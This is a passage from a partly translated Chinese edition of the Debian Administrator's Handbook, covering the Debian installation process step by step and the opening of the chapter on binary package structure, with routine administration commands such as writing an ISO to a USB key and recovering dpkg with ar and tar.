A Debian system can be installed from several types of media, as long as the BIOS/UEFI (see 笔记 UEFI，一个 BIOS 的现代替代品) of the machine allows it. You can for instance boot with a CD-ROM, a USB key, or even through a network.

4.1.1. 从CD-ROM/DVD-ROM安装

最常见的安装介质是CD-ROM（或者DVD-ROM）：计算机从此处引导，然后安装程序接管。

Various CD-ROM families have different purposes: netinst (network installation) contains the installer and the base Debian system; all other programs are then downloaded. Its “image”, that is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150 to 280 MB (depending on the architecture). On the other hand, the complete set offers all packages and allows for installation on a computer that has no Internet access; it requires around 19 DVD-ROMs (or 4 Blu-ray disks). There is no more official CD-ROMs set as they were really huge, rarely used and now most of the computers use DVD-ROMs as well as CD-ROMs. But the programs are divided among the disks according to their popularity and importance; the first disk will be sufficient for most installations, since it contains the most used software.

最后一种类型的安装镜像文件就是熟知的mini.iso，该文件仅可作为安装器的副产品。 该镜像仅包含配置网络所需的最小需求，其它的任何东西都需要下载（包括安装器本身部分，所以新版本的安装器发布时该镜像就没有用了）。这些镜像可在常规的Debian镜像站点的dists/release/main/installer-arch/current/images/netboot/目录下找到。

技巧 多架构盘

大部分安装 CD 和 DVD 光驱只适合于特定的硬件架构。如果你希望下载完整镜像，你必须仔细选择适合你硬件架构的镜像。

有些 CD/DVD 镜像能够适应多种计算机架构。其中CD-ROM 镜像 netinst 可以适应 i386 和 amd64 体系架构。

To acquire Debian CD-ROM images, you may, of course, download them and burn them to disk. You may also purchase them, and, thus, provide the project with a little financial support. Check the website to see the list of DVD-ROM image vendors and download sites.

→ https://www.debian.org/CD/

4.1.2. 从U盘引导

因为大多数计算机能够从 USB 设备启动，所以你也可以从 USB 盘（小闪存盘）安装 Debian。

安装指南说明了怎样做一个包含debian-installer的 USB 盘。安装过程很简单， 因为i386 和 amd64 架构的 ISO 镜像是混合（在一起）的， 从 USB 盘引导与从 CD 引导的镜像是一样的。

You must first identify the device name of the USB key (ex: /dev/sdb); the simplest means to do this is to check the messages issued by the kernel using the dmesg command. Then you must copy the previously downloaded ISO image (for example, debian-11.0.0-amd64-netinst.iso) with the command cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync. This command requires administrator rights, since it accesses the USB key directly and blindly erases its content.

A more detailed explanation is available in the installation manual. Among other things, it describes an alternative method of preparing a USB key that is more complex, but that allows you to customize the installer's default options (those set in the kernel command line).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. 从网络引导安装

许多的 BIOS 允许从网络上下载内核和一个最小化的文件系统镜像并直接以此进行系统引导。这种方法（有几种不同的名称，比如 PXE 或者 TFTP 引导）在计算机没有光驱、或者 BIOS 无法从其它介质进行引导的时候就是最后的一条救命稻草了。

这种安装方法分两个步骤。第一步，在引导计算机时， BIOS（或者网卡）发出一个 BOOTP/DHCP 请求以自动获取 IP 地址。BOOTP 或 DHCP 服务器返回的响应将包含一个文件名以及当前网络的设定情况。在配置好网络后，客户端计算机发出一个 TFTP（简单文件传输协议）请求，所请求的文件名称由先前的响应决定。在文件获取完成后，它将作为一个引导程序被计算机执行。此后，它将会启动 Debian 安装程序，安装程序将正常运行，就好像它是从硬盘、CD-ROM 或是 U 盘引导运行那样。

所有该方法的细节都在安装指南里（“准备用于 TFTP 网络启动的文件”章节）。

→ https://www.debian.org/releases/stable/amd64/ch05s01.html#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05.html

4.1.4. 其他安装方式

当需要为大批量计算机部署定制安装时，我们通常会选择自动安装，而不是手动安装。依照进行安装的场景和复杂度，我们可以使用 FAI (Fully Automatic Installer，即完全自动安装，参见 第 12.3.1 节 “全自动安装器 （FAI）” ) ，甚至会使用带有预置信息（preseed）的定制安装 DVD (参见 第 12.3.2 节 “预设值 Debian 安装”)。

还当注意的是，安装程序可以加载并运行 SSH 服务，从而提供了通过 SSH 来远程安装 Debian 的能力。发行说明中还描述了如何使用grub 从现有系统中运行安装程序来完全取代它。

4.2. 安装，一步一步来

4.2.1. 引导和开始安装

一旦 BIOS 开始从 CD-ROM/DVD-ROM 引导，就出现 Isolinux 引导程序界面。这时， Linux 内核还没有加载；通过菜单选择内核开始引导，同时可以加上参数以满足需求。

对于标准的安装过程，你需要选择“安装”或者“图形化安装”（有箭头指示）。然后按下 Enter 键开始安装。如果 DVD-ROM 是 "Multi-arch" 磁盘，计算机有 Intel 或者 AMD 64 位处理器，菜单将会默认显示 64 位版本（amd64）的安装选项，安装 32 位版本的选项会在单独的 "32-bit install options" 子菜单中。如果你有 32 位处理器，那么菜单将不会提供 64 位系统的安装选项，你只能安装 32 位版本的系统（i386）。

继续深入 32 还是 64 位?

The fundamental difference between 32- and 64-bit systems is the size of memory addresses. In theory, a 32-bit system cannot work with more than 4 GB of RAM (2^32 bytes). In practice, it is possible to work around this limitation by using the 686-pae kernel variant, so long as the processor handles the PAE (Physical Address Extension) functionality. Using it does have a notable influence on system performance, however. This is why it is useful to use the 64-bit mode on a server with a large amount of RAM.

For an office computer (where a few percent difference in performance is negligible), you must keep in mind that some proprietary programs are not available in 64-bit versions. It is technically possible to make them work on 64-bit systems, but you have to install the 32-bit versions of all the necessary libraries (see 第 5.4.5 节 “多架构支持”), and sometimes to use setarch or linux32 (in the util-linux package) to trick applications regarding the nature of the system.

实践 与 Windows 系统并存的安装

如果计算机已经安装了 Windows，无需为了安装 Debian 而删除 Windows。你可以同时拥有双系统，且安装于不同的硬盘或者分区，并可在启动时选择系统。这种设定常称为"双重引导"，Debian 安装系统可以完成该设定。这会在安装过程中的硬盘分区阶段完成，同时设置引导程序(参阅侧边栏 实践缩小 Windows 分区 1 和 注意 引导程序和双启动 2)。

If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit title…

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

基本知识 Bootloader（引导程序）

引导程序是底层的程序，在 BIOS 移交控制权后引导 Linux 内核。为了完成这个任务，必须加载硬盘上的内核。在 i386/amd64 架构的计算机上，完成这个任务使用的最多的两种程序是更古老的 LILO ，更现代的 GRUB ， Isolinux 和 Syslinux 是经常用来从可移除介质上来引导的备选。

每条菜单项隐藏了一个特定的引导命令行，在验证和引导前，该命令行可以用 TAB 键补全可能的设备或文件名。Help 菜单项显示了旧的命令行接口，按键 F1 到 F10 显示了不同的各种可选提示的帮助屏幕。在特定情况下你会选择相应的选项。

在 “专家” 模式 （在 “Advanced Options” 菜单操作） 的所有安装过程中的可选项细节，允许在各个步骤之间导航。 当心，这种很琐细的模式会让人迷惑，它提供的多种配置选择。

“救援”模式也能在“高级选项”菜单中找到，允许恢复损坏的系统或修复引导程序。在显示了安装程序的前几个屏后，能让在你选择的文件系统中进入一个shell环境执行任何必要的操作，亦或是重装引导程序。

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

图 4.1. 引导界面

Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from an amd64 DVD-ROM (more specifically, the RC3 version of the installer for Bullseye); netinst installations, as well as the final release of the installer, may look slightly different. We will also address installation in graphical mode, but the only difference from “classic” (text-mode) installation is in the visual appearance.

4.2.2. 选择语言

安装程序以英语开始，但第一步允许用户选择后面过程使用的语言。比如选择 Chinese，会提供完全中文的安装界面。这一选项也被用来定义在后续阶段（特别是键盘布局）更相关的默认选择。

基础知识 用键盘导航

Some steps in the installation process require you to enter information. These screens have several areas that may “have focus” (text entry area, checkboxes, list of choices, OK and Cancel buttons), and the TAB key allows you to move from one to another.

在图形模式下，你可以使用鼠标，跟安装好的图形桌面一样。

图 4.2. 选择语言

4.2.3. 选择国家

第二步为选择国家和地区。该信息能为程序提供最合适的键盘布局及语言。这也会影响时区设定。在美国，推荐使用标准的 QWERTY 键盘，并选择合适的时区。

图 4.3. 选择国家

4.2.4. 选择键盘布局

所建议的“American English”（美式英语）键盘对应于通常的 QWERTY 键盘布局。

图 4.4. 键盘选择

4.2.5. 检测硬件

在绝大多数情况下，这一步是完全自动的。安装程序探测你的硬件，并试图确定使用的 CD-ROM 驱动器，以访问其内容。加载相应的各种探测到的硬件组件的驱动模块，然后 “挂载” CD-ROM读取相应模块。前几项步骤完全包括在安装 CD 的引导镜像里，BIOS 从 CD 引导的时候加载进了内存的一个受限大小的文件。

安装程序可以处理大部分主要的硬盘，特别是标准的 ATAPI 外部设备(有时也叫做 IDE 和 EIDE)。然而，如果探测到 CD-ROM 读取失败，安装程序会提供相应 CD-ROM 驱动器的内核模块选项加载（比如从 U盘 引导）。

4.2.6. 加载组件

CD 的内容现在准备好了，安装程序会下载所有需要的文件继续完成它的工作。这包括剩下的硬件的驱动（特别是网卡），以及所有安装程序的组件。

4.2.7. 检测网络硬件

This automatic step tries to identify the network card and load the corresponding module. If automatic detection fails, you can manually select the module to load. If no module works, it is possible to load a specific module from a removable device. This last solution is usually only needed if the appropriate driver is not included in the standard Linux kernel, but available elsewhere, such as the manufacturer's website or in firmware archives/packages.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

netinst 安装这步必须绝对成功 ，因为 Debian 的安装包必须从网络加载。

4.2.8. 配置网络

为了尽可能的自动安装，安装程序尝试着自动 DHCP 网络配置。如果失败，它会提供更多选项；再次尝试正常的 DHCP 配置，试图以声明机器名尝试 DHCP 配置，或者设置静态网络配置。

最后选项需要一个 IP 地址，一个子网掩码，一个网关 IP 地址，一个机器名，一个域名。

技巧不用DHCP配置网络

If the local network is equipped with a DHCP server that you do not wish to use, because you prefer to define a static IP address for the machine during installation, you can add the netcfg/use_dhcp=false option when booting from the installation media. You just need to go to the desired menu entry by pressing the TAB key and add the desired option before pressing the Enter key.

当心 别凑合

许多局域网的基于这样一个隐含的假设，即所有的机器都是可以信任的，一台计算机的配置的导致的问题，往往会影响整个网络。因此，在征得你的系统管理员的设置认定之前，不要把你的机器连到网络上（例如 IP 地址，子网掩码和广播地址）。

4.2.9. 管理员密码

The super-user root account, reserved for the machine's administrator, is automatically created during installation; this is why a password is requested. The installer also asks for a confirmation of the password to prevent any input error, which would later be difficult to amend. Note that you can leave both fields empty if you want the root account to be disabled. In that case, the login for the root user will be deactivated and the first regular user — that will be created by the installer in the next step — will have administrative rights through sudo (see 第 8.9.4 节 “共享管理员权限”).

安全 管理员密码

root 用户的密码要设得足够长（多于 12 个字符）并尽可能复杂。的确，任何连到互联网的计算机经常被尝试以最显而易见的密码去连接。有时甚至以密码字典的单词和数字组合的密码来攻击。要避免使用孩子或者父母的名字，生日等等来作密码；许多你的同事也许知道这些信息，你不要用这些作为进入你计算机问题的答案。

这些设定规则同样适用于其他用户的密码设定，但没有管理员权限的用户受到的危害程度较弱。

如果对设定密码没啥想法，请尽量用密码生成器，比如 pwgen (有同样名称的程序包)。

图 4.5. 管理员密码

4.2.10. 创建第一个用户

Debian也规定了创建一个标准用户帐户，避免管理员使用root用户开始工作的坏习惯。预防的原则在本质上意味着以所需的最低权限执行每个任务，从而限制由人为错误造成的损害。这就是为什么安装程序会询问创建第一个用户的完整名称，用户名和密码（两次，以防止输入错误）。

图 4.6. 第一个用户的名字

4.2.11. 配置时钟

如果网络是正常的，系统的内部时钟从网络时间服务器更新(一次性)。这种方式在系统第一次启动时时间戳在日志上记录是正确的。为了一直保持精确的时间，需要在初始安装后设置 NTP 守护程序( 参看 第 8.9.2 节 “时间同步”)。

4.2.12. 检测磁盘和其他设备

这一步自动检测安装 Debian 的硬盘。下一步将是：分区。

4.2.13. 开始分区的工具

文化 分区的作用

分区，安装中不可缺少的一部分，包括根据具体需求对硬盘可用空间的划分(每一次细分称为分区)。这一步包括选择文件系统。所有的选择都对性能，数据安全，服务器管理有着一定的影响。

一般来说分区对新用户有一定难度。需要定义各种划分的磁盘分区，在上面建Linux 文件系统和虚拟内存。这是件复杂的任务，如果你想保存这个硬盘上的另一个系统。本质上，你只要确定不要修改分区表(也不要修改分区大小就不会损坏数据)。

幸运的是，分区软件有引导模式，给予用户最常用的分区推荐，你只需简单的确认。

图 4.7. 分区模式的选择

The first screen in the partitioning tool offers the choice of using an entire hard drive to create various partitions. For a (new) computer which will solely use Linux, this option is clearly the simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard drives for two operating systems, setting one drive for each is also a solution that can facilitate partitioning. In both of these cases, the next screen offers to choose the disk where Linux will be installed by selecting the corresponding entry (for example, “SCSI1 (0,0,0) (sda) - 53.7 GB ATA QEMU HARDDISK”). You then start guided partitioning.

图 4.8. 使用硬盘分区

分区还可以设置成 LVM 逻辑卷。因为剩下的操作都一样的，所以我们就没有这一项(引导--使用整个硬盘并设置 LVM )。

在其他情况下，当 Linux 必须与其他已经存在分区共存，您就需要手动分区了。

4.2.13.1. 引导分区

引导分区工具依据不同的用途提供了三种分区方法。

图 4.9. 引导分区

第一种方法是 “所有文件都在一个分区”。整个 Linux 系统都存在于单个文件系统下，即root / 文件夹。这个对于个人或单用户系统来说简单也实用。实际上，会建两个分区；第一个是整个系统，第二个是虚拟内存(交换分区)。

第二种方法， “单独的 /home 分区”，与前面类似，但文件系统层次分成两个；一个包含了 Linux 系统(/)，第二个包含了 “home 文件夹”(意味着用户数据，文件和子文件夹存在于 /home/ 下面)。

最后一种分区方法，称为“分离 /home, /var, 和 /tmp 分区”，适合于服务器和多用户系统。它把文件树分到许多分区：除了root (/) 和用户 (/home/) 分区，还有这些分区，服务软件数据 (/var/）和临时文件 (/tmp/)。这样分区有几个优势。用户不会因为使用完所有可用硬盘空间而锁定整个服务器 (他们只能用完/tmp/ 和 /home/)。守护进程的数据(尤其是日志)不会再填满系统的其余部分。

基本知识选择文件系统

文件系统定义了数据在硬盘上的组织方式。每个文件系统有它的优点和局限性。有些更健壮，有些更注重实际；如果你清楚你的需求，那选到最适合你的系统也是可能的。已经做过各种比较，似乎ReiserFS对于许多小文件的读取比较高效；XFS，对于大文件的处理更有优势。Ext4，Debian 的默认文件系统，与之前 Linux 使用3个文件系统相比是一个更好的选择(ext 和 ext2 和 ext3)。你也可以选择它的后来者 ext4，它克服了 ext3 的某些限制，尤其适合非常大容量的硬盘。如果你特别勇敢，你可以尝试非常有前景的 btrfs，它包括了当今 LVM 和/或 RAID 的使用中的许多的特性。

日志型文件系统 (比如 ext3, ext4, btrfs, reiserfs, 或者 xfs) 需要特殊的措施，在突然异常中断后不需要分析整个硬盘情况下，使得文件系统可以返回到前一个正常的状态（ ext2 的情况也是如此）。这个功能实现方法是，在实际执行操作前通过日志记录操作的描述。如果操作被打断，可以通过日志实现 “回放” 。相反地，如果中断发生在日志的更新过程中，最后请求的变化被简单忽略；将要写入的数据会丢失，但硬盘上没有变化的数据它们会保持一致。这就是这个文件系统的事务机制。

选择完分区类型后，软件会统计并显示所有分区相关信息；用户可以根据实际需要进行修改。特别是如果默认的文件系统 (ext4) 不符合你需求的话你可以选另一种文件系统。然而，大部分情况下，规划的分区是合理的直接确认选项 “完成分区并把改变写入磁盘”就可以了。

图 4.10. 验证分区

4.2.13.2. 手动分区

手动分区更加灵活，允许用户选择每个分区的用途和大小。进一步来说，如果你希望使用软件 RAID 这个步骤是不可避免的。

实践缩小 Windows 分区

在一个存在其他系统的硬盘上安装 Debian ，必须有不被其他系统使用的可用磁盘空间，以创建新的分区来安装 Debian。大多数情况下，这意味着减少了一个 Windows 系统的可用分区。

当使用手动模式分区时，Debian 安装程序允许使用这个操作。你只需选择 Windows 分区并输入新的大小(对于未加密的 FAT 和 NTFS 分区都一样)。

如果Windows使用了BitLocker加密的分区，那么将其重新划分容量的步骤，需要同时使用BitLocker Management和Windows Disk Management（Windows磁盘管理）工具。

首先显示可用硬盘，它们的分区，没被分区的可用的剩余空间。你可以选择每个显示的分支；按下 Enter 键，然后列出了可选操作。

你可以选它删除所有分区。

选定未使用空间后，可以手动添加分区。也可使用适用于已有其他操作系统的导引分割，以标准方式分割出给 Linux 使用的空间。导引分割详情见 第 4.2.13.1 节 “引导分区”。

图 4.11. Editing/creating a partition

基本知识 挂载点

挂载点是指在选择的分区上放置文件系统的目录树。因此，一个分区挂载在 /home/ 默认是指放置了用户的数据。

当目录名是 “/”，就表示 root 文件树，因此根分区实际上是 Debian 系统。

基本知识虚拟内存，swap交换分区

Virtual memory allows the Linux kernel, when lacking sufficient memory (RAM), to free a bit of memory by storing the parts of the RAM that have been inactive for some time on the swap partition of the hard disk. It is also fundamental to the "Suspend" and "Hibernate" features of a system.

To simulate the additional memory, Windows uses a swap file that is directly contained in a filesystem. Conversely, Linux uses a partition dedicated to this purpose, hence the term “swap partition”. But it is also able to use a swap file as well.

当选择一个分区，你可以指定你要使用的方式：

- 格式化并在文件树下选择挂载点;

- 使用为它作为交换分区;

- 使之成为 “加密的物理卷”(特定分区上的数据保密，见下文);

- 使用它作为“ LVM 的物理卷”（本章稍后对此概念作详细讨论）;

- 使用它作为 RAID 设备（见本章以下内容）;

- 你也可以选择不使用它，放着，不对它作任何改变。

4.2.13.3. 配置多磁盘设备(软件 RAID)

Some types of RAID allow the duplication of information stored on hard drives to prevent data loss in the event of a hardware problem affecting one of them. Level 1 RAID keeps a simple, identical copy (mirror) of a hard drive on another drive, while level 5 or 6 RAID splits redundant data over several disks, thus allowing the complete reconstruction of a failing drive.

这里我们仅描述 RAID 1，是最简单的实现。第一个步骤是在两块不同的硬盘上创建两个相同大小的分区，为他们标上 “物理卷 RAID”。

然后你在分区工具里选择 “配置软件 RAID” 把这两个分区结合成一个新的虚拟硬盘，接着选 “创建 MD 设备” 。然后你需要回答一系列关于新设备的问题。首先是问使用 RAID 的哪个层级，这里选 RAID1。第二个问题激活设备数 -- 这里选 2，在 MD 设备里包括设备数量。第三个问题是关于备用设备数 -- 0；我们没有额外磁盘以备接管可能会坏掉的硬盘。最后的问题需要你选择分区作为 RAID 设备 -- 即我们为此目的已经设置好的两个分区(确定你只选了明确称为“raid” 的分区)。

返回主菜单，一个新的虚拟 "RAID" 盘会出现。这个虚拟盘显示为一个分区，它不能被删除，但我们可以把它当作其他任何分区一样使用。

关于 RAID 功能的深入细节，请参考 第 12.1.1 节 “软 RAID”。

4.2.13.4. 配置逻辑卷管理 (LVM)

LVM 让你可以在几块磁盘上创建 “虚拟” 分区。有双重优点：分区大小不再受限于每块磁盘的容量而是他们的数倍，可以在你需要的时候任意增加一块额外的磁盘增加已经存在的分区容量。

LVM 使用了特别的技术：一个虚拟的分区是一个 “逻辑卷”，是 “逻辑卷组” 的一部分，或者是一些 “物理卷” 的组合。实际上每一个术语都对应着一个 “真正”的分区(或一个软件 RAID 设备)。

这项技术工作方式很简单：每个卷，不管是物理卷还是逻辑卷，对应到 LVM 它们都被划成相同大小的块。增加新硬盘以创建新的物理卷，这些新的块被关联到任意的卷组。所有卷组上的分区会因而扩展更多空间。

分割工具以几个步骤配置 LVM。首先在现有磁盘添加分区 “LVM 实体卷” 分区。选择 “配置逻辑卷管理 (LVM)” 以启动 LVM，就能关联至现有的实体卷。最后，在此卷群组内添加逻辑卷。自动分割系统可以自动运行这些工作。

在分区菜单，每个物理卷会作为一个单一分区的磁盘出现，这个分区不能被删除，但你可以使用它了。

LVM 作用的深入介绍请参见 第 12.1.2 节 “LVM（逻辑卷管理）”。

4.2.13.5. 设置加密分区

为了保证您的数据的保密性，例如，在您的计算机或硬盘丢失或被盗的情况下，某些分区上的数据可进行加密。这个特性可以在任何文件系统下添加，拿 LVM 来说， Linux (更多特别是 dm-crypt 驱动) 使用 Device Mapper 创建虚拟分区(内容受保护)，是基于以加密形式(感谢 LUKS，Linux 的统一密钥设置，一种标准格式，以加密的数据存储，元数据显示了被使用的加密算法)。

安全 加密交换分区

当使用一个加密的分区，密钥存储在内存(RAM)。取得这个密钥就可以解密数据，那么避免遗留密钥的拷贝就至关重要，对于可能存在的计算机或硬盘窃贼来说，还有就是维护管理员。然而对于笔记本电脑来说很容易发生这样的事故，因为 RAM 的内容都是存在交换分区上的。如果这个分区没有被加密，窃贼也可以取得密钥并用来解密加过密的分区数据。这就是为什么，当你使用加密的分区时，当务之急是也要加密交换分区！

Debian 的安装程序会警告用户，如果他们尝试建立一个加密的分区，但交换分区是未被加密。

创建一个加密分区，您必须先分配一个可用的分区用于这一目的。为此，选择一个显示它是被用来作为 “加密的物理卷”的分区。在包含物理卷的磁盘分区后面，选择 “配置加密卷”。软件然后会建议用随机数据初始化物理卷(本地化的真实数据比较困难)，然后会让你输入 “加密口令”，为了访问加密分区的内容每次启动计算机你都要输入这一口令。一旦这一步完成，你就已经回到分区工具目录，会有一个新的 “加密卷” 分区可用，然后就和其他分区一样配置它的用途。大多数情况，这一分区也和作为 LVM 的物理卷一样用相同的密钥保护几个分区(LVM 逻辑卷)，包括交换分区（见侧栏 安全 加密交换分区）。

4.2.14. 安装基本系统

这一步，不需要任何交互，安装 Debian “base system” 软件包。这包括管理 Debian 软件包的 dpkg 和 apt 工具，如引导系统并使用的工具一样。

图 4.12. 安装基本系统

4.2.15. 配置包管理器 (apt)

In order to be able to install additional software, APT needs to be configured and told where to find Debian packages. This step is as automated as possible.

笔记 光驱里的 Debian CD-ROM

如果安装程序发现 Debian 安装光盘在光驱里，它不需要去配置 APT 以在网络上寻找需要安装的软件包：APT 通过配置后自动从可移动媒体驱动器读取软件包。如果该安装盘包含多张光盘，软件会提示 “搜索” 其他光盘以安装提及的包。

If getting packages from the network is requested, the installer allows to choose a server from which to download these packages, by choosing first a country, then a mirror available in that country. A mirror is a public server hosting copies of all the files of the Debian master archive.

图 4.13. 选择 Debian 镜像

最后，会提示使用 HTTP 代理。如果没有，将直接连接互联网。如果你输入 http://proxy.falcot.com:3128， APT 会使用 Falcot proxy/cache， 一个 “Squid” 程序。你能通过连到相同网络的另一台计算机找到这些设置。

然后，APT会自动下载文件 Packages.xz 和 Sources.xz，并更新包列表。

"基本知识 HTTP 代理

HTTP 代理是为网络用户改变 HTTP 请求的服务器。有时帮助你加速下载。有时，它是唯一连接互联网服务器的途径；这时它是仅有的从网络下载 Debian 软件包的正确答案。

Squid 是 Falcot 公司用来提供该服务的服务器软件。

4.2.16. Debian 软件包流行度排行

Debian 系统有一个称做 popularity-contest 的软件包，它的目的是计算软件包的使用程度。每周，这个程序收集已经安装的和最近被使用的软件包的信息，并把这些信息匿名发送给 Debian 的该项目服务器。该项目可以使用这些信息决定每个包的相关重要性，通过影响授予的权重。特别是，最 “流行” 的软件包会包含在 CD-ROM 安装盘里，以便那些不想下载或购买整套CD的用户使用。

出于尊重用户使用隐私的需要，这个软件包只按需激活。

4.2.17. 选择安装软件包

The following step allows you to choose the purpose of the machine in very broad terms; the twelve suggested tasks correspond to lists of packages to be installed. The list of the packages that will actually be installed will be fine-tuned and completed later on, but this provides a good starting point in a simple manner.

此步骤可能需要整套安装介质，或互联网连接以及如上所述的工作镜像设置。

一些软件包也会根据实际的硬件自动安装（感谢软件包 discover 里的程序 discover-pkginstall）。

图 4.14. 安装选择

4.2.18. 安装 GRUB 引导程序

引导程序是 BIOS 启动的第一个程序。它把 Linux 内核加载进内存然后执行。通常提供给用户一个内核选择菜单去加载引导操作系统。

注意 引导程序和双启动

在 Debian 安装过程中检测到已经安装的操作系统时，会自动把它加到引导菜单项中，但不是所有的安装程序都能这么做。

特别地，如果以后安装 (或重新安装) Windows 的话，引导程序会被删除。 Debian 仍然在硬盘上，但不能再从引导菜单中访问了。然后必须用 拯救 模式去重新引导 Debian 安装系统，来设置不能独占的引导程序。这一操作的描述细节在安装手册里。

→ https://www.debian.org/releases/stable/i386/ch08s06

默认情况下，GRUB 显示菜单包括了所有已检测到操作系统的 Linux 内核。这就是为什么你要接受安装它到主引导扇区的原因。保存旧的内核的好处在于，当你的新内核不能在硬件上工作良好时，还能用旧内核正常引导系统，所以最好保存最近三个版本的内核。

GRUB is the default bootloader installed by Debian thanks to its technical superiority: it works with most filesystems and therefore doesn't require an update after each installation of a new kernel, since it reads its configuration during boot and finds the exact position of the new kernel. Version 1 of GRUB (now known as “Grub Legacy”) couldn't handle all combinations of LVM and software RAID; version 2, installed by default, is more complete. While there may still be situations where it is preferable to install LILO (another bootloader); the Debian installer does no longer support the installation of it.

GRUB不是单一的引导加载程序，它更像是一组始于不同情况的多个引导加载程序。GRUB源软件包之外建立多个二进制软件包反映出这个情况：grub-efi-amd64是64位PC以UEFI模式启动，grub-efi-ia32是32位PC以UEFI模式启动，grub-pc是以BIOS模式启动PC，grub-uboot用于ARM计算机等。

关于配置GRUB的更多信息，请移步至第 8.8.2 节 “GRUB 2 配置”。

文化 安全引导和 shim 引导程序

Secure Boot is a technology ensuring that you run only software validated by your operating system vendor. To accomplish its work each element of the boot sequences validates the next software component that it will execute. At the deepest level, the UEFI firmware embeds cryptographic keys provided by Microsoft to check the bootloader's signature, ensuring that it is safe to execute. Since getting a binary signed by Microsoft is a lengthy process, Debian decided to not sign GRUB directly. Instead it uses an intermediary bootloader called shim, which almost never needs to change, and whose only role is to check Debian's provided signature on GRUB and execute GRUB. To run Debian on a machine having Secure Boot enabled, the shim-signed package must be installed.

接下来，GRUB会对内核进行相似的检查，然后内核还会检查将要加载模块的签名。内核还会禁止一些可能改变系统完整性的操作。

Debian 10 (Buster) was the first release supporting Secure Boot. Before, you had to disable that feature in the system setup screen offered by the BIOS or the UEFI.

4.2.19. 完成安装并重启

安装现已完成，提示你取出光盘并重启计算机。

图 4.15. Installation complete

4.3. 在首次启动之后

如果你选择“图形桌面环境”而没有显式选择桌面（或选择“GNOME”），系统将显示 gdm3 登录管理器。

图 4.16. 首次启动

已建立的用户可以登录并能立即开始工作。

4.3.1. 安装附加软件

对于安装过程中已选配置的安装软件，已安装的软件不一定是机器实际组成的。这样的话，你要使用包管理工具提炼选择已安装的包。两个最常用的工具(如果选择了 “图形化桌面环境” 就表示已安装了) 是 apt(从命令行执行) 和 synaptic (菜单种的“Synaptic 包管理器”)。

为了所安装的程序的一致性，Debian 创建了专用于特定用途的 “任务” (邮件服务器，文件服务器，等等)。在安装过程中你已经有机会选择它们了，感谢包管理工具你能够以后再次访问它们，比如 aptitude (在不同的部分列出的任务) 和 synaptic (通过目录 编辑 → 任务标记软件包…) 。

Aptitude 是 APT 全屏字符模式的接口。它允许用户以各种方式浏览可用软件包列表 (已安装或未安装的软件包，以各种标准划分，等等)。每个包能被标记为 “安装” (要安装是 + 键) 或者 “移除 (要移除是 - 键) 。 如果确认按 g(“g 就是 “go!”) 键所有这些操作会被同步执行如果你忘了这些程序，别担心；你可以在初始化安装完成后再次运行 aptitude 。

技巧 Debian 顾及非英语用户

某些任务致力于系统的英语之外的其他语言的本地化。它们包括翻译文档，词典，和各种对其他不同语言使用者有用的各种软件包。在安装过程中如果选择了非英语语言，相应的任务会自动显示该语言。

Of course, it is possible not to select any task to be installed. In this case, you can manually install the desired software with the apt or aptitude command (which are both accessible from the command line). The packages can be found using the apt-cache search task keyword command.

关键词 包依赖，冲突

在 Debian 包管理行话里，“依赖”的包是指另一个软件包的其中某个功能需要该软件包来支持。反过来，“冲突”的包是指那种不能一步步按顺序安装，以满足需要安装的软件包。

这些概念的细节在第 5 章 包管理系统：工具和基本原则中讨论。

4.3.2. 升级系统

首先一般需要 apt upgrade（通常用来自动更新安装程序的命令），特别是从上一个稳定的 Debian 正式版更新的话，需要注意可能出现的安全问题。标准的 Debian 配置工具debconf来更新，可能会涉及额外的问题。以 apt 进行更新的更多信息，请参阅 第 6.2.3 节 “系统升级”.

第 5 章 包管理系统：工具和基本原则

作为 Debian 系统管理员，你经常地要处理 .deb 包，因为它们包含一致的功能单元（应用程序、文档等），使得安装和维护更容易。所以了解它们是什么及如何使用它们是个好主意。

本章介绍了“二进制”和“源码”包的结构和内容。前者是文件，可以用 dpkg 命令直接处理；而后者则包含程序的源代码，以及创建二进制包的指令。

5.1. 二进制包的结构

Debian 软件包格式被这样设计，在具有经典命令如 ar、tar 和 xz 或者有时候是 gzip 或 bzip2的 Unix 系统上，它的内容都可以被解压。这是个看起来琐碎的属性对移植和灾难恢复是非常重要的。

想象一下，例如您误删了dpkg 程序，因此无法再安装 Debian 软件包了。 dpkg 本身作为一个 Debian 软件包，看起来系统似乎完蛋了... 幸运的是，您知道软件包的格式，这样可以下载 dpkg 软件包的 .deb 文件，并手动安装（请参见侧边栏 工具 dpkg、APT 和 ar）。某些不幸的情况下，一个或多个 ar、 tar 或者 gzip/xz/bzip2 程序丢失了，您仅需从其它系统上直接复制缺失的程序（因为它们中的任一个都独立工作而没有依赖的问题，因此简单复制足矣）。如果您的系统出现了更加反常的问题，甚至以上手段无法奏效（可能是最深处的系统库文件丢失？），您应当尝试 busybox的静态版本 （在 busybox-static 软件包中提供），它更加独立化，并能提供如下子命令：busybox ar、busybox tar 和 busybox xz。

为了避免不幸的情况，你最好做一下备份系统（请参考第 9.10 节 “备份”）。

工具 dpkg、APT 和 ar

dpkg 是处理 .deb 文件（二进制包）的命令，包括提取、分析和解包。

APT （“Advanced Packaging Tool”的缩写）是一组允许对系统进行高层定制的程序：安装或者删除一个软件包（并且保持依赖关系满足），更新系统，升级系统，列出可用的软件包等。

ar程序 , 由binutils包提供，运行处理同名文件:

- ar t archive 显示归档文件中包含的文件列表

- ar x archive 释放归档文件中的文件到当前目录

- ar d archive file 从归档文件中删除一个文件等.

它的手册页（ar(1)）将它的其它全部特性归档。ar 是一个非常古老的工具，Unix 管理员仅在极少数情况下使用它，而是通常使用 tar，一个更先进的档案和文件管理程序。这是在误删情况下容易恢复 dpkg 的原因。您仅需要下载 Debian 软件包，并将内容从 data.tar.xz 解压至系统的根（/）：

# ar x dpkg_1.20.9_amd64.deb

# tar -C / -p -xJf data.tar.xz

BACK TO BASICS Man page notation

